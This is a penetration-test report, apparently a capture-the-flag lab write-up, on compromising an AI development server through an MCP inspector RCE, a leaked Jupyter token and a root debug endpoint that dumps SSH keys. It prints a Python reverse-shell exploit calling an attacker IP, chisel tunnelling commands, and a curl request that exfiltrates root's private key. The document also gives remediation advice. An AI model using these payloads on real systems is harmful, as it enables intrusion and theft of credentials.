

Offensive Security Assessment – Project DevHub (AI Stack / MCP Protocol)

Parameter	Detail
Project ID	SEC-RPT-LIN-DEVHUB-2026
Classification	TLP:CLEAR / Public
Client / Environment	devhub.htb AI Development Server
Asset(s) in Scope	10.129.245.216 (Ports 6274, 8888, 5000)
Assessment Type	Web Penetration Test and Artificial Intelligence / MCP Services Audit
Status	Critical Compromise Validated / Root Access Obtained

2. Executive Summary

The security audit conducted on the devhub.htb server evidenced critical risks arising from the premature adoption of Artificial Intelligence architectures based on the Model Context Protocol (MCP), combined with deficient interface exposure practices.

Unauthenticated exposure of the MCPJam Inspector service was identified on TCP port 6274, vulnerable to remote code execution (CVE-2026-23744), which provided initial access as mcp-dev. Local process inspection allowed the recovery of an authentication token exposed within the command line arguments of a Jupyter Lab instance, facilitating lateral movement to analyst. Finally, an internal operations service (OPSMCP) running under the root context exposed an unauthenticated debug endpoint that allowed arbitrary system file dumping, enabling the exfiltration of root's SSH private key and absolute control of the server.

3. Findings and Impact Matrix

Vulnerability / Finding	Severity	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
Remote Code Execution in MCPJam (CVE-2026-23744)	Critical	9.8	CWE-78 / OWASP A06:2021	T1190 - Exploit Public-Facing Application
SSH Key Exposure in Internal Management	Critical	9.1	CWE-200 / OWASP	T1552.004 - Unsecured

Endpoint			A01:2021	Credentials: Private Keys
Access Token Leakage in Process Command Line	High	7.5	CWE-214 / OWASP A02:2021	T1057 - Process Discovery
Insecure Routing of Local Development Services	Medium	5.3	CWE-668 / OWASP A05:2021	T1572 - Protocol Tunneling

4. Technical Details and Proof of Concept (PoC)

4.1. Exploitation of MCPJam Inspector RCE (CVE-2026-23744)

Initial scanning identified TCP ports 22 (SSH), 80 (nginx), and 6274 (MCPJam Inspector). The MCPJam interface lacked authentication controls on the `/api/mcp/connect` endpoint, allowing command execution on the operating system by submitting a JSON payload:

```
python3 -c '
import requests
url = "http://10.129.245.216:6274/api/mcp/connect"
payload = {"command": "bash -c \"bash -i >& /dev/tcp/10.10.14.29/5555
0>&1\""}
requests.post(url, json=payload)
'
```

Interactive session reception in the auditor console:

```
nc -nvlp 5555
# Conexión establecida desde 10.129.245.216
id
# uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
```

- **Technical Impact:** Unauthenticated remote command execution within the corporate perimeter.
- **Remediation & Hardening:** Upgrade MCPJam Inspector to its patched version, bind the service exclusively to 127.0.0.1, and implement token-based/mTLS authentication on the API.

4.2. Process Inspection and Pivoting to Jupyter Lab

Examining the system's active process list, a Jupyter Lab instance was detected running on local TCP port 8888. The secret access token was exposed as a parameter on the command line:

```
ps aux | grep jupyter
# analyst 1450 ... --
ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --port 8888
```

A reverse tunnel was deployed using the chisel tool to access the interface from the assessment host:

```
# En el host de auditoría:
./chisel server -p 8080 --reverse

# En el objetivo (mcp-dev):
/tmp/chisel client 10.10.14.29:8080 R:8888:127.0.0.1:8888
```

Accessing <http://localhost:8888/?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7> via web browser opened an integrated shell within the environment, achieving lateral movement to user analyst:

```
cat /home/analyst/user.txt
ea66b6aa73b530441e04c20ca6dca783
```

- **Technical Impact:** Unauthorized access to the data analytics environment and lateral movement to the analyst account.
- **Remediation & Hardening:** Hide process logon parameters by passing credentials via protected configuration files (jupyter_server_config.py) configured with 0600 permissions.

4.3. Private Key Exfiltration and Root Compromise via OPSMCP

An internal Flask-based service operating on local TCP port 5000 (OPSMCP) was identified. Analyzing the source code in /opt/ops MCP/server.py revealed hardcoded credentials and a hidden key dumping function (ops_admin_dump):

```
# Extracto auditado de /opt/ops MCP/server.py
API_KEY = "ops MCP_secret_key_4f5a6b7c8d9e0f1a"
# El servicio ejecuta como root y permite invocar ops._admin_dump
```

Through an HTTP POST request, a dump of root's SSH private key was requested:

```
curl -s -X POST 'http://127.0.0.1:5000/tools/call' \
  -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \
  -H 'Content-Type: application/json' \
  -d '{"name": "ops._admin_dump", "arguments": {"confirm": true, "target":
"ssh_keys"}}' | jq -r .data > /tmp/root_id_rsa
```

The exfiltrated key was formatted and a session was initiated as superuser:

```
chmod 600 /tmp/root_id_rsa
ssh -i /tmp/root_id_rsa root@10.129.245.216
root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# cat /root/root.txt
37ddc3f84278523da63b55cbf4ca7c5d
```

- **Technical Impact:** Absolute operating system compromise with superuser (root) privileges.
- **Remediation & Hardening:**
 1. Remove undocumented debugging functionalities from production code.
 2. Run the OPSMCP service under an unprivileged service account and isolate it from the /root/.ssh/ path.